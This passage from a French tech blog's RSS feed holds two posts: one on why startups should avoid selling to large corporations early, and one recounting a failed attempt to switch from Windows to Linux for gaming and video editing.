<p>Mon ami a malheureusement buté dans le fameux syndrome des B2BigB, ce mal (français ?) qui a tendance à tuer beaucoup d&#39;entreprises tous les ans.</p>
<p>Alors si vous créez une boite aujourd&#39;hui ou que vous souhaitez le faire, je vous invite à réfléchir à deux fois avant de privilégier ce segment et c&#39;est de ça dont on va parler aujourd&#39;hui.</p>
<h2>B2BigB</h2>
<p>Déjà, il faut que je définisse cet acronyme. Dans le monde de l&#39;entreprise, on a tendance à segmenter les boites en fonction des clients qu&#39;ils visent :</p>
<ul>
<li>B2C (pour Business to Consumer), c&#39;est le grand public.</li>
<li>B2B (pour Business to Business), c&#39;est la vente aux entreprises</li>
</ul>
<p>Par exemple, Netflix, c&#39;est du B2C et Jira c&#39;est du B2B.</p>
<p>Au milieu de tout ça vous avez plein de nuances, Microsoft qui vend en B2C et en B2B par exemple. Vous avez des plateformes de C2C (échanges entre particuliers).</p>
<p>Mais on va rester simple, et on va juste parler de B2C et B2B.</p>
<p>Sauf que &quot;B&quot;, c&#39;est large. Entre une boite de 5 personnes et un grand groupe de 40 000 personnes, autant vous dire que la façon de vendre aux deux est très différente. Et dans cette catégorie, il y a la catégorie de la mort : les grands groupes.
Difficile de vraiment dire quand commence un grand groupe, mais on les reconnait facilement. Un grand groupe commence quand une prise de décision nécessite une tétrachiée de réunions, un trimestre, un steering commitee et un approval du board ou d&#39;un département achat...</p>
<p>En pratique, on peut même avoir des boites de 500 personnes qui se comportent comme ça même si c&#39;est plus fréquent à partir de 1000. Mais dans tout les cas, ça empire avec la taille. Un trimestre peut devenir 1 an, voire 2, voire 5 (et je vous jure que j&#39;ai vu des cycles d&#39;achat durer ce temps-là).</p>
<p>Bref, ça, c&#39;est ce que j&#39;appelle les BigB (les gros B).</p>
<p>Le gros avantage des BigB c&#39;est, en théorie, la capacité à acheter cher parce qu&#39;on parle de déploiement à l&#39;échelle d&#39;un grand groupe, donc de volumes qui font rêver la plupart des boites en démarrage.</p>
<p>Sauf que, c&#39;est bien souvent un mirage, dès qu&#39;on commence à regarder les couts et les marges, mais surtout, tous les risques associés.</p>
<h2>Des couts gigantesques, des marges faibles</h2>
<p>Travailler avec un grand groupe, c&#39;est bien souvent synonyme de complexité et cette complexité, elle se finance avec des spécialistes.</p>
<p>Il faut répondre à des processus couteux (questionnaire de sécurité de 200 pages, questionnaires légaux, contrat cadre, certification ISO machin chose) qui nécessite souvent pas mal de spécialistes (juristes, experts sécu, finance etc...). Et ça, c&#39;est juste pour entrer dans la première étape du cycle de vente.</p>
<p>Pour vendre à un grand groupe, il faut déjà être prêt à dépenser des fortunes.</p>
<p>Au passage, on pourra noter que c&#39;est pas ce qui empêche ces grands groupes de régulièrement figurer dans la liste des data leaks du mois. Parce que non, pondre des questionnaires excel n&#39;est pas synonyme de qualité de la sécurité.</p>
<p>Suite à ça vous allez rapidement tomber dans la spirale des réunions trimestrielles avec tout un tas de personnes que vous ne verrez qu&#39;une fois dans votre vie, dont certains profiteront de leur pouvoir passager pour passer leurs nerfs et leurs lubies sur vous. Et comme vous serez en position de faiblesse, eh bien...</p>
<p>Ce temps, c&#39;est du temps qui n&#39;est pas passé sur le produit. C&#39;est évidemment normal de passer du temps à vendre, mais on parle de réunions trimestrielles à préparer, avec des powerpoint à la Mckinsey (vous allez même parfois avoir des scales up qui font appel à des cabinets de conseil pour remplir ces documents) et qui vont nécessiter des semaines de préparation.</p>
<p>Encore une fois, pour vendre à un grand groupe, il faut déjà être prêt à dépenser des fortunes et à attendre des lustres.</p>
<p>Mais imaginons que ça y est, vous avez enfin l&#39;aval pour déployer dans un grand groupe. Le contrat est signé. Maintenant, c&#39;est à vous de vous débrouiller pour l&#39;adoption.
En réalité, c&#39;est le début d&#39;un second cauchemar.</p>
<p>Il s&#39;est passé 1 an depuis le début du cycle de vente, tous vos précédents contacts ne sont plus là. C&#39;était peut-être des prestataires qui ont quitté la boite. Ou bien des dirigeants, mais qui ont été muté dans d&#39;autres branches du groupe. Et désormais, il faut retrouver les personnes capables de vous aider à déployer votre solution logicielle parce que sans doute que votre chiffre d&#39;affaires dépend de l&#39;usage qui sera fait du logiciel. Pas de déploiement, pas d&#39;argent.</p>
<p>Donc il va vous falloir une équipe dédiée de commerciaux capable de naviguer dans une bureaucratie complexe pour trouver les bons contacts et peut-être même une équipe d&#39;implémentation dédiée. Vos coùts vont exploser et vous n&#39;aurez pas encore à ce stade touché quoi que ce soit.</p>
<p>Avec un peu de chance, et parce que vous avez été assez malin pour obtenir un montant à la signature, vous finirez par émettre une première facture. Celle-ci sera payé 8 mois plus tard, <em>fin de mois</em>. Les 3 premiers mois ayant entrainé moults incidents parce qu&#39;il fallait signer un bon de commande et que vous avez dû passer par 3 services différents pour ça. Pas de chance, votre tréso commence à tirer la langue.</p>
<p>Vous arrivez au terme de la première année et là, vous aurez le département achat qui va venir vous voir pour venir renégocier le contrat, sachant pertinemment que, en théorie, ils sont vos plus grands clients donc, ce serait naturel de faire une fleur.</p>
<p>Bref, 2 ans plus tard, vous avez dépensé une fortune, votre trésorerie est déficitaire, et votre marge a fondu comme la neige pendant une coupe du monde de ski en Arabie Saoudite.</p>
<p>Bon, ok, mettons que j&#39;exagère et que malgré tout, ce contrat vous a permis au contraire de passer un cap, d&#39;avoir une signature importante à mettre en avant et que la vie continue pour votre startup/scaleup.
En réalité, vous ne le savez pas encore, mais vous avez invité un cheval de Troie chez vous.</p>
<h2>La perte d&#39;innovation</h2>
<p>Travailler avec un grand groupe, c&#39;est accepter la complexité inhérente à cette entreprise. Si vous avez mis 2 ans à signer un contrat avec eux, imaginez bien que tout le reste prend le même temps.
Votre produit doit évoluer pour leur façon de travailler. On va vous demander des workflows d&#39;approbation à 12 niveaux, des intégrations logicielles avec des ERP, des SSO d&#39;entreprise mal flingués, des intégrations avec des systèmes legacy des années 90. Et puis chaque boite a son jargon interne qu&#39;on va vous demander d&#39;ajouter de force dans votre logiciel. Vous allez facturer en unité d&#39;œuvre, avoir un rôle &quot;achat&quot; dans vos schémas RBAC (les systèmes d&#39;autorisation), bref, en réalité, vous allez développer une extension du SI de votre premier client avec toutes ces contraintes, sa complexité, sa lenteur d&#39;accompagnement, et ses couts.</p>
<p>Et quand on a un client qui représente 80% de son chiffre (et même à partir de 20% en réalité ça commence à jouer), on peut difficilement dire non. C&#39;est donc une feuille de route régulièrement hijacké par les commerciaux dédiés à ce client, et globalement un produit qui s&#39;éloigne du marché de masse.<br>Et c&#39;est normal hein, je jette pas la pierre à cette équipe. Si vous avez dédié des gens à un client, c&#39;est normal qu&#39;elle essaie d&#39;influencer la façon dont on construit le produit et même si les demandes sont absurdes. Parce que cette équipe n&#39;a pas le recul nécessaire pour juger.</p>
<p>Et quand la feuille de route est régulièrement détournée, c&#39;est aussi une énorme dette liée à la personnalisation qui va finir par freiner tout le produit dans son ensemble. Ce gros client vous a peut-être  permis de doubler vos effectifs. Mais les 3/4 de la boite vont finir par bosser pour lui, et vont développer une culture logicielle propre, moins de sens UX, moins de sensibilité aux performances produits (inutile de travailler sur l&#39;acquisition ou la conversion par exemple).</p>
<p>Tous les logiciels grands groupes ont une UX dégueulasse, parce que c&#39;est pas ça qui fait vendre d&#39;une part, et parce qu&#39;à force de perdre de l&#39;argent dans le processus de vente, de certification et d&#39;accompagnement, il faut bien faire des économies quelque part, souvent sur le produit qui n&#39;est plus en réalité central dans la relation avec ce client. On tentera de vous rassurer en vous disant que non, c&#39;est important, mais en réalité, le produit à ce moment-là est devenu un centre de coùt qu&#39;il faut optimiser pour ne plus perdre de marge. Marge mangée par le cabinet de conseil qui vous a aidé à déterminer la stratégie de déploiement et le prix à fixer... </p>
<p>Mais même quand vous &quot;améliorez&quot; votre produit pour ce client, vous n&#39;allez cesser de le dégrader pour tous les autres que vous pensiez attirer ensuite en mettant en avant cette prise sur votre belle landing. Parce qu&#39;encore fois, vous allez imposer sa complexité à toutes les autres boites qui auraient pu être intéressés par vos services.</p>
<p>Je noircis le tableau évidemment. Et il y a des boites qui se sont spécialisées JOUR 1 sur les grands groupes, qui ont taillé leur offre commerciale en prenant en compte tous les couts associés. Les déploiements sont chiffrés à 100k, les contrats imposent un usage minimal, tout a été cadré dès le début parce que la stratégie a toujours été de s&#39;étendre exclusivement ici.</p>
<p>Mais pour toutes les boites qui envisagent &quot;juste&quot; de faire un GrosB pour avoir une marque de validation, mais qui visent en réalité tout le marché TPE/PME et qui cherchent du volume. C&#39;est rarement un bon plan.</p>
<h2>Les alternatives</h2>
<p>Au début je disais : &quot;ce mal (français ?)&quot;. Pourquoi je dis que c&#39;est un grand mal français ? En réalité c&#39;est sans doute un effet loupe et je constaterai certainement la même chose dans tous les pays.
Mais tous les ans, je vois des boites qui meurent après des trimestres d&#39;attente derrière ce fameux contrat avec un grand groupe (hier encore, je discutais avec une personne qui m&#39;a raconté la même histoire). Donc je me dis qu&#39;il y a quand même un truc un peu différent chez nous. On aime bien être différent.</p>
<p>Partiellement, j&#39;ai l&#39;impression que c&#39;est lié à notre taille de marché SMB (TPE/PME) qui est moins important qu&#39;en Allemagne (le mittelstand allemand semble plus important). On passe plus vite de la TPE aux grands groupes.<br>Évidemment, ensuite, en termes de crédibilité, c&#39;est plus facile de vendre un produit une fois qu&#39;on a le logo d&#39;un grand groupe que plein de logos de boites inconnus.</p>
<p>Ce qui est sûr c&#39;est que culturellement, il y a le CAC 40 et le reste. Le CAC 40 c&#39;est quasiment les mêmes boites depuis 30 ou 40 ans. A l&#39;inverse vous regardez le S&amp;P 500, en 1990 c&#39;était Exxon, GE, Philip Morris, IBM. Ils ont tous laissé leur place à Apple, Nvidia, Amazon, Google.</p>
<p>En France, les grands groupes du CAC sont structurellement stables et dominants, ce qui les rend d&#39;autant plus attractifs comme clients pour les startups. Ils ont les budgets, la longévité, la légitimité. Mais ces mêmes grands groupes ne sont pas des tremplins vers un marché global — ce sont des marchés fermés sur eux-mêmes.</p>
<p>Et à l&#39;inverse le marché TPE/PME peut fonctionner. Si je regarde Pennylane, qonto, indy, payfit, spendesk, livestorm, c&#39;est justement en visant ce marché qu&#39;elles ont réussi à aller loin.</p>
<p>A l&#39;inverse, je me pose de vraies questions sur la stratégie d&#39;un Mistral qui semble se positionner que sur les grands groupes (déploiement on premise, partenariat azure etc...) et qui semble délaisser le marché de masse.
J&#39;espère que ce ne sera pas le futur DailyMotion, qui a privilégié les grands médias et opérateurs télécom en passant à côté de l&#39;opportunité de devenir la plateforme média B2C que Youtube a su devenir.</p>
<p>Vous aurez compris, si vous créez une boite aujourd&#39;hui, j&#39;aurais tendance à vous déconseiller de voir le &quot;B2B&quot; comme un seul et grand terrain de jeu. J&#39;aurais tendance à vous dire d&#39;éviter le B2BigB qui est bien souvent délétère pour les startups et finit souvent par mener à l&#39;impasse.</p>
<p>Ça reste possible, mais il faut s&#39;armer pour. Et si c&#39;est votre choix, je ne dirai qu&#39;une chose. Bon courage :)</p>
<p>Viser les grands groupes (et le service public) c&#39;est évidemment l&#39;accès à des marchés plus importants. Mais j&#39;aurais tendance à conseiller d&#39;aborder cette étape plus tard, quand la boite est déjà solide.</p>
<p>Quand DJI (les drones chinois) ont attaqué le marché pro, ils avaient déjà une énorme emprise sur un marché B2C. Ils sont venus avec une expertise et un savoir faire qui leur permettait d&#39;être souverain sur leurs décisions.</p>
<p>Maintenant si jamais vous avez quand même cette tentation, la recette pour avoir une chance, c&#39;est avant tout une question de séniorité des dirigeants : faut savoir dire non de façon ferme, faut arrêter de courir tous les lièvres dès qu&#39;on voit passer un soi-disant &quot;low hanging fruit&quot;, l&#39;expression qui a remplacé pour moi le mot &quot;quick win&quot; dans mes expressions les plus détestées.<br>Ça n&#39;existe pas le gain avec peu d&#39;effort. Tout a un cout, même quand il est caché.<br>Et il faut avoir une bonne base financière et réputationelle pour imposer ses conditions, d&#39;où le conseil d&#39;avoir déjà une bonne base sur les autres segments. C&#39;est plus facile de dire non quand un client représente 2% que quand il représente 20%.</p>
<p>Une stratégie que j&#39;ai vue fonctionner plusieurs fois, c&#39;est de créer un logiciel avec une super UX, d&#39;être adopté par les équipes, puis ensuite d&#39;aller voir les départements achats des boites en question pour leur mettre sous le nez les chiffres d&#39;usages chez eux : &quot;vous avez vu, vous avez déjà 300 personnes qui l&#39;utilisent, ça vous dit pas de faire un contrat cadre et de mieux comprendre l&#39;usage chez vous ?&quot;</p>
<p>Là pour le coup, c&#39;est intéressant parce que vous avez créé un produit dont l&#39;adoption s&#39;est faite par les équipes, vous n&#39;avez pas modifié votre roadmap et vous êtes en position de force avec les achats pour améliorer votre présence sans subir de pression sur le reste. Bref, faites un bon produit, trackez l&#39;usage, attendez d&#39;avoir une empreinte suffisante, et ensuite, allez négocier.</p>
<p>Anthropic (Claude code) en visant d&#39;abord les développeurs individuels (indie hacker, side project) et les petites équipes a été poussé à constamment améliorer son produit qui est devenu numéro 1 dans sa catégorie (à l&#39;heure où j&#39;écris, ce passage pourrait mal vieillir :)). Aujourd&#39;hui, ils vendent des licenses entreprises.</p>
<p>Les bonnes boîtes sont capables de faire du volume puis de remonter la chaîne, petites boites puis grandes boîtes. J&#39;ai rarement (jamais ?) vu l&#39;inverse. Quand tu fais du grand groupe, tu ne sais pas revenir sur le reste des segments.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390865-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[J'ai essayé de quitter Windows pour Linux... Spoiler : ça s'est mal passé]]></title>
            <link>https://eventuallycoding.com/p/2026-02-windows-migration</link>
            <guid>https://eventuallycoding.com/p/2026-02-windows-migration</guid>
            <pubDate>Mon, 09 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sécurité, géopolitique, obsolescence : les raisons de quitter Windows n'ont jamais été aussi fortes. Récit d'une tentative de migration vers Linux]]></description>
            <content:encoded><![CDATA[<p>Et si je quittais Windows ?</p>
<p>Je me crois que je me suis dit ça 3 ou 4 fois sur les 25 dernières années, mais c&#39;est bien la première fois que les raisons qui me poussent à le faire sont les plus fortes, et que les moyens à disposition sont les plus aboutis.</p>
<p>Alors, pourquoi pas ?</p>
<p>Mais d&#39;abord parlons des raisons, pourquoi changer ?</p>
<p>Vous ne l&#39;aurez sans doute pas raté, mais l&#39;actualité géopolitique est tendue et la dépendance tech aux US commence à devenir très dangereuse. Windows est le cheval de Troie absolue permettant l&#39;accès à des milliers (milliards ?) de PC, autant individuels que professionnels et c&#39;est devenu un peu difficile de passer à côté.</p>
<p>Entre soupcon de backdoor en 1999 <a href="https://en.wikipedia.org/wiki/NSAKEY">avec l'affaire _NSAKEY</a>, re-soupcon de backdoor <a href="https://en.wikipedia.org/wiki/DoublePulsar">en 2017 avec l'affaire DoublePulsar</a> ou <a href="https://www.forbes.com/sites/thomasbrewster/2026/01/22/microsoft-gave-fbi-keys-to-unlock-bitlocker-encrypted-data/">vraie affaire des clés de chiffrement Bitlocker fourni à la NSA</a>, il serait hautement naif de penser que nous sommes à l&#39;abri.</p>
<p>Au-delà de ça, la migration vers Windows 11 a forcé de nombreuses entreprises à renouveller un parc informatique <a href="https://www.technewsworld.com/story/windows-10-end-of-life-could-flood-landfills-with-e-waste-179242.html">pourtant toujours en parfait état de marche</a>.</p>
<p>Bon, la première raison suffisait hein. Mais quitte à être exhaustif...</p>
<p>Maintenant, comme faire ?</p>
<h2>Mes contraintes</h2>
<p>Je veux changer, certes, mais pas dans n&#39;importe quelles conditions et il est temps que je donne un peu de contexte.</p>
<p>Comme toutes les personnes qui bossent dans l&#39;informatique, j&#39;ai eu régulièrement des personnes qui me demandent de jeter un œil à leur imprimante qui marche plus, ou un téléphone qui démarre pas ou un logiciel de traitement de texte capricieux.</p>
<p>Je vous donne un scoop, je ne sais pas faire ça. Ce n&#39;est pas mon métier. Je sais, c&#39;est dingue, je passe mon temps sur un PC, mais je ne sais pas pour autant le réparer ou réparer tout ce qui ressemble à un assemblage de composants électroniques. Pire, je déteste ça.</p>
<p>Alors oui, peut-être que j&#39;exagère, avec beaucoup d&#39;effort et une doc en ligne, je peux vaguement résoudre quelques problèmes. Mais encore une fois, je déteste ça.</p>
<p>En fait, je ne veux passer pas du temps sur des outils de la vie courante, pas plus que j&#39;ai envie de démonter mon frigo ou ma voiture.</p>
<p>Ok, l&#39;exemple de la voiture est sans doute mauvais, pour le coup j&#39;y connais vraiment rien et quand j&#39;étais plus jeune ça me faisait marrer de bricoler mon autoexec.bat et mon config.sys pour faire tourner des jeux en mémoire haute, mais ce temps est révolu. Le gaming ça doit être un loisir, pas un défi technique.</p>
<p>Bref, vous l&#39;aurez compris, je veux changer pour quelque chose de simple et qui ne me demande pas de devenir expert de lignes de commande obscures pour que tout fonctionne.</p>
<p>Seconde précision utile, j&#39;utilise professionnellement unix/linux depuis 1997. J&#39;avais déjà installé Mandrake en 99 en double boot sur mon ordinateur, et j&#39;ai également eu des PC de travail sur Ubuntu et Debian, donc je ne pars pas de zéro et je sais que pour un usage pro, je n&#39;aurais aucun souci d&#39;adaptation sur linux.</p>
<p>Mais, pour un usage perso, j&#39;ai besoin de pouvoir faire du montage vidéo (j&#39;utilise Filmora) et j&#39;aime jouer au jeu vidéo donc ça va rentrer en ligne de compte.</p>
<p>Et il paraît que ça tombe bien, désormais Linux sait faire tout ça.</p>
<p>Il paraît...</p>
<h2>Tester sans tout casser (ou presque)</h2>
<p>L&#39;idée c&#39;était pas de racheter un ordinateur, ce serait quand même un peu idiot vu que mon pc est encore très bien. Je l&#39;ai acheté en 2018, il a 32 Gb de ram, un processeur AMD Ryzen 7, une carte GeForce GTX 1060 et fait tourner sans aucun souci des jeux comme Overwatch 2 ou Baldurs Gate 3.</p>
<p>L&#39;idée, c&#39;était pas non plus de réinstaller par-dessus Windows en prenant le risque de plus avoir de PC pendant plusieurs jours/semaines.</p>
<p>Donc j&#39;ai acheté un nouveau disque SSD de 1Tb pour permettre le double boot et tester des OS. Le double boot n&#39;est pas une solution à long terme puisque je veux me séparer de Windows et que c&#39;est très pénible de switcher d&#39;un système à l&#39;autre de toute façon. Par contre, c&#39;est idéal pour du test. Et dans tous les cas, passer de 1 à 2Tb ça commençait à devenir nécessaire parce que le montage vidéo prend rapidement de la taille sur disque.</p>
<p>Évidemment comme j&#39;ai des gros doigts et une vue qui décline avec l&#39;âge, j&#39;ai réussi l&#39;exploit de casser le pas de vis qui sert à fixer le disque nvme sur la carte mère. J&#39;ai vraiment cru que j&#39;allais abandonner bien plus tôt que prévu, mais après une petite discussion avec Gemini, j&#39;ai découvert l&#39;existence d&#39;adaptateur PCI Nvme qui permet de brancher des disques SSD sur une carte PCI.</p>
<p>Bref, un nouvel achat, quelques jours et 20 euros de moins plus tard, j&#39;ai pu enfin brancher ce satané disque sur ma machine.</p>
<h2>Le choix de la distribution</h2>
<p>La première chose à faire pour démarrer c&#39;est de choisir une distribution Linux, télécharger un ISO d&#39;environ 4Gb, flasher une clé usb avec BalenaEtcher, et lancer l&#39;installation.</p>
<p>Retenez bien ces étapes, elles serviront plusieurs fois par la suite...</p>
<p>Mon premier choix s&#39;est porté sur Bazzite, orienté gaming, mais j&#39;ai rapidement déchanté en voyant que <a href="https://ba.antheas.dev/bazzite-postmortem.html">les cofondateurs lavaient leur linge sale sur internet</a> ce qui n&#39;est jamais vraiment bon signe. On l&#39;autorise uniquement pour Linus Torvalds.</p>
<p>J&#39;ai donc ensuite installé Pop!_OS, qui est censé être grand public et compatible avec un usage gaming.</p>
<p>Assez rapidement, j&#39;ai enchainé les désillusions. Mon soft de montage vidéo, Filmora, n&#39;est pas disponible sur linux, tout comme Proton Drive.</p>
<p>Pour Proton, il semble exister <a href="https://linuxvox.com/blog/proton-drive-linux/">une version en cours de développement</a> donc à la limite, je peux attendre.</p>
<p>Concernant Filmora, cela m&#39;oblige à apprendre DaVinci. C&#39;est très frustrant parce que j&#39;ai mes reflexes sur Filmora mais j&#39;y perdrais pas au change en apprenant DaVinci qui est un excellent soft de montage. C&#39;est frustrant, mais ça se fait.</p>
<p>Par contre, j&#39;ai cumulé ça avec pas mal de complications liées à des ralentissements et des freeze de l&#39;ordinateur.
J&#39;ai appris à maitriser xkill (pour tuer une fenêtre) en boucle notamment lors de l&#39;installation de lutris qui permet de lancer Overwatch.</p>
<p>Oui, je vais prendre Overwatch comme benchmark pour tester la faisabilité de cette migration. C&#39;est LE jeu auquel je joue le plus. Ne me jugez pas.</p>
<p>Après un long moment de frustration passé sur lutris qui n&#39;a jamais fonctionné, je suis finalement passé sur Steam parce que j&#39;ai découvert grâce à Gemini que Overwatch est désormais jouable sur Steam.
L&#39;install de Steam a du se faire en ligne de commande puisque l&#39;installeur de base ne fonctionnait pas (sic). J&#39;ai ensuite lancé le donwload d&#39;overwatch (60Gb...) puis je suis allé faire autre chose.<br>L&#39;ordi s&#39;est mis en veille et ne m&#39;a permis pas d&#39;en sortir ensuite... Le réveil difficile semble être aussi possible pour un ordinateur.
Bref, j&#39;ai du rebooter, et j&#39;ai perdu le download du jeu...</p>
<p>Heureux (non) et frais comme un gardon (non plus), j&#39;ai désactivé la mise en veille automatique puis relancé le download. Après plusieurs heures j&#39;ai enfin pu lancer le jeu et... ça n&#39;a pas marché. Le jeu s&#39;est lancé, ça semblait fluide, mais le personnage regardait constamment le sol comme si ma souris n&#39;était pas reconnue.</p>
<p>On parle de plusieurs heures de galères, beaucoup de lignes de commandes faites en terminal alors que je ne voulais clairement pas d&#39;un OS qui m&#39;oblige à faire ça alors j&#39;avoue que l&#39;envie d&#39;abandonner était vraiment très forte.</p>
<p>Et puis une personne m&#39;a dit : &quot;peut être que je tu devrais essayer avec une distrib moins exotique&quot;.</p>
<p>Ok. C&#39;est pas faux. Faut pas abandonner aussi vite.</p>
<p>Et puis surtout à ce stade, je dois quand même faire une petite parenthèse. L&#39;une de mes motivations, c&#39;était de sortir de la tech US. Mais choisir une distrib linux, certes c&#39;est open source, mais c&#39;est pas magique, il y a des boites derrière ces distributions. Or Bazzite et PopOS sont toutes deux d&#39;origine US, donc dans tous les cas, j&#39;avais pas vraiment rempli mon contrat.</p>
<p>Je suis donc reparti le lendemain sur Linux Mint (Irlande). Re-téléchargé un ISO, re-flashé une clé USB, refait l&#39;installation. Joie.</p>
<p>Verdict, Mint semblait plus stable, aucun freeze, pas de soucis en sortie de veille, mais une interface un peu vieillotte, genre Windows des années 2000. Une personne m&#39;a rapidement conseillé de plutôt essayer Zorin OS (Irlande).<br>Pas de soucis, je maitrise bien le flash de clé USB maintenant.</p>
<p>J&#39;ai donc re-téléchargé un ISO, re-flashé une clé USB, refait l&#39;installation.</p>
<p>Et j&#39;avoue que le résultat est pas mal. L&#39;OS est agréable à prendre en main, l&#39;interface reste proche de Windows donc simple en terme d&#39;habitudes à prendre. Par contre, cette fois je savais que le principal sujet c&#39;était de faire marcher Overwatch pour valider totalement la migration.</p>
<p>J&#39;ai donc installé Steam directement via le gestionnaire d&#39;application fournie. J&#39;ai lancé le téléchargement d&#39;Overwatch (60Gb, ça n&#39;a pas changé depuis tout à l&#39;heure) et j&#39;ai attendu.</p>
<p>Après plusieurs heures, enfin, j&#39;ai pu démarrer le jeu et là... Nouvel échec. Le jeu était totalement saccadé, pixelisé de partout, les menus ne répondaient quasiment pas. Bref, merci xkill...</p>
<p>Mais cette fois, hors de question de m&#39;arrêter là.</p>
<p>J&#39;ai donc fait appel à un ami : Gemini.</p>
<p>D&#39;abord, on a tenté de modifier les options de lancement du jeu en forçant l&#39;usage de Proton, mais sans succès. Je fais comme si je connaissais Proton, en fait pas du tout. J&#39;ai découvert Proton, Wine, Lutris dans la même journée et je ne vous ferais certainement pas un cours sur qui sert à quoi ou pourquoi Proton et pas Wine. J&#39;en sais rien et je m&#39;en fiche un peu.</p>
<p>Après plusieurs commandes lancées sur le terminal, on en vient à la conclusion que le jeu n&#39;utilisait pas ma carte nvidia même si elle était correctement installé, car flatpack lui interdisait.
Est-ce que ce diagnostic était bon ? Aucune idée. Mais j&#39;ai installé flatseal pour gérer les permissions accordées à Steam.</p>
<p>Est-ce que ça a marché ? Pas du tout. Gemini m&#39;a alors conseillé de réinstaller Steam non pas via flathub, mais via la version native directement (avec un .deb).</p>
<p>À ce stade, autant vous dire que j&#39;étais plus à une installation prêt et un peu perdu de toute façon. Je connaissais même pas flathub avant la semaine dernière.</p>
<p>Bref, j&#39;ai réinstallé steam, re-téléchargé le jeu (oui, encore), réinstallé proton, changé 2 fois la version de Proton parce que la version expérimentale était incompatible avec mon installation, changé 3 fois les options de lancement sous les conseils de Gemini et après plusieurs heures, le jeu s&#39;est lancé !</p>
<p>Enfin, presque. Il a lancé la compilation des shaders vulkan.</p>
<p>Apparemment ça lui permet de les précompiler pour éviter de le faire pendant le jeu. J&#39;ai une connaissance très limitée de ce que c&#39;est qu&#39;un shader, je ne sais pas pourquoi c&#39;est nécessaire sour linux mais bon, pour 10 minutes de plus, je suis plus à ça près...</p>
<p>Je suis allé rapidement en partie d&#39;entrainement, testé quelques persos et j&#39;avais une petite sensation bizarre. Le jeu n&#39;était pas fluide et en affichant les FPS, j&#39;ai pu voir que j&#39;étais plafonné à 60 FPs avec quelques petites chutes vers 50. Et je peux vous garantir que 60FPS on le sent passer. C&#39;est des petits glitchs de temps en temps et une sensation d&#39;absence de fluidité. C&#39;est jouable. On peut vivre avec. Mais c&#39;est pas du tout agréable, surtout quand on a connu le jeu a 175FPS avant, sur la même machine.</p>
<p>Et vous savez ce que m&#39;a conseillé Gemini ? De tester avec Lutris.</p>
<p>Alors, j&#39;ai installé lutris, re-téléchargé battle.net comme sur Pop_Os!, subit les mêmes lenteurs et saccadements, ce qui m&#39;a permis de comprendre que c&#39;était pas forcément PopOs le fautif, mais plutot Lutris, lancé battle.net pour arriver exactement à l&#39;erreur que j&#39;avais déjà eu sur PopOs et surtout la même conclusion : Lutris est un enfer.</p>
<p>Gemini m&#39;a alors dit &quot;Si Lutris te fait la tête, je te conseille d&#39;utiliser Bottles. C&#39;est une application ultra-moderne disponible dans la boutique Zorin qui est devenue la référence pour installer Battle.net.&quot;</p>
<p>Mais là, j&#39;avoue. J&#39;ai laissé tomber...</p>
<p>Bon, et si on faisait un bilan ?</p>
<h2>Bilan</h2>
<p>Eh bien, je ne dirais pas que c&#39;est un échec, mais ça n&#39;a pas marché comme dirait l&#39;autre.</p>
<p>Globalement l&#39;expérience Linux pour un usage pro en développement informatique est très bon, mais ça je le savais déjà, c&#39;est clairement pas le frein. ZorinOs pour un utilisateur de Windows comme moi fait parfaitement le travail, on retrouve nos petits.</p>
<p>Pour les autres métiers ? Difficile à dire. Le risque, c&#39;est d&#39;avoir toujours un soft ou deux qui ne soit pas présent sur Linux. En soi, l&#39;OS est désormais vraiment à niveau, mais si les éditeurs ne publient pas leur soft sur Linux, ça sera toujours un frein. C&#39;est le cas par exemple des logiciels de CAO (autocad, revit, solidworks), ou de la suite Adobe pour les créatifs, de plusieurs outils pro pour les monteurs vidéos (Adobe Premiere ou After Effects).</p>
<p>Et ça rend l&#39;option discutable pour un usage plus large. Encore une fois, c&#39;est pas Linux qui est en cause ici, mais les éditeurs eux-mêmes. S&#39;ils ne voient pas Linux comme une plateforme grand public, ce ne sera jamais grand public.</p>
<p>Et le grand public d&#39;ailleurs, une partie sont des gamers et Linux, je peux difficilement dire que c&#39;est adapté. Je sais que je vais faire bondir certains d&#39;entre vous en lisant ça. J&#39;ai plein d&#39;amis qui m&#39;ont garanti être capable de jouer sur Linux et je les crois. Mais ce serait hypocrite de ma part d&#39;écrire que c&#39;est aussi simple d&#39;accès que sur Windows.</p>
<p>Évidemment j&#39;exagère, pour une personne qui fait juste de la bureautique chez soi, avec un ordi déjà configuré, franchement ça devrait bien se passer. En plus c&#39;est vrai que tous mes périphériques ont été détectées sans aucun souci, imprimante, micro RODE, double écran etc... Donc oui, je suis un peu injuste.</p>
<p>Mais dès qu&#39;on touche au gaming, là, j&#39;ai du mal à me dire que c&#39;est ok.
J&#39;ai passé des heures à taper des lignes de commandes obscures sur un terminal. J&#39;ai bidouillé des options de lancement dans Steam et dans les settings nvidia que j&#39;avais jamais vu de ma vie et au final, ça ne marche pas.</p>
<p>On peut me dire sans aucun souci que je suis pas doué, que le problème réside entre la chaise et le clavier. Je reconnais aisèment tout ça. Je connaissais même pas la plupart des softs que j&#39;ai manipulés ces derniers jours (flatpak, wine, proton etc...). Mais je devrais pas avoir besoin d&#39;être doué pour jouer sur un PC. Et manifestement, je suis pas le seul à qui ça arrive parce que j&#39;ai cherché des heures sur des sub Reddit et j&#39;ai vu beaucoup de personnes avec des problèmes similaires.</p>
<p>Je voulais migrer, j&#39;ai passé des heures là-dessus. J&#39;ai lu des dizaines de messages sur les forums. Ne venez pas me dire que je suis de mauvaise foi. Je ne suis pas patient, c&#39;est vrai, mais j&#39;ai tenté.</p>
<p>Et le pire, c&#39;est que je suis frustré. Parce que je voulais vraiment migrer. Je suis prêt à apprendre DaVinci pour remplacer Filmora. Je suis prêt à changer mes habitudes de travail, réapprendre à utiliser un nouvel OS. Mais bordel, je veux pouvoir jouer :)</p>
<p>Donc pour l&#39;instant, je garde le double boot mais c&#39;est pas une solution. Je suis encore entre la phase 3 (déni) et 4 (colère) du deuil en espérant pas arriver tout de suite à l&#39;acceptation et la résignation...</p>
<p>Je vais continuer à chercher des solutions en ligne, mais clairement ça devient un job d&#39;expertise et c&#39;était pas censé être le cas et ça sent le sapin pour cet objectif 2026.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179391122-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
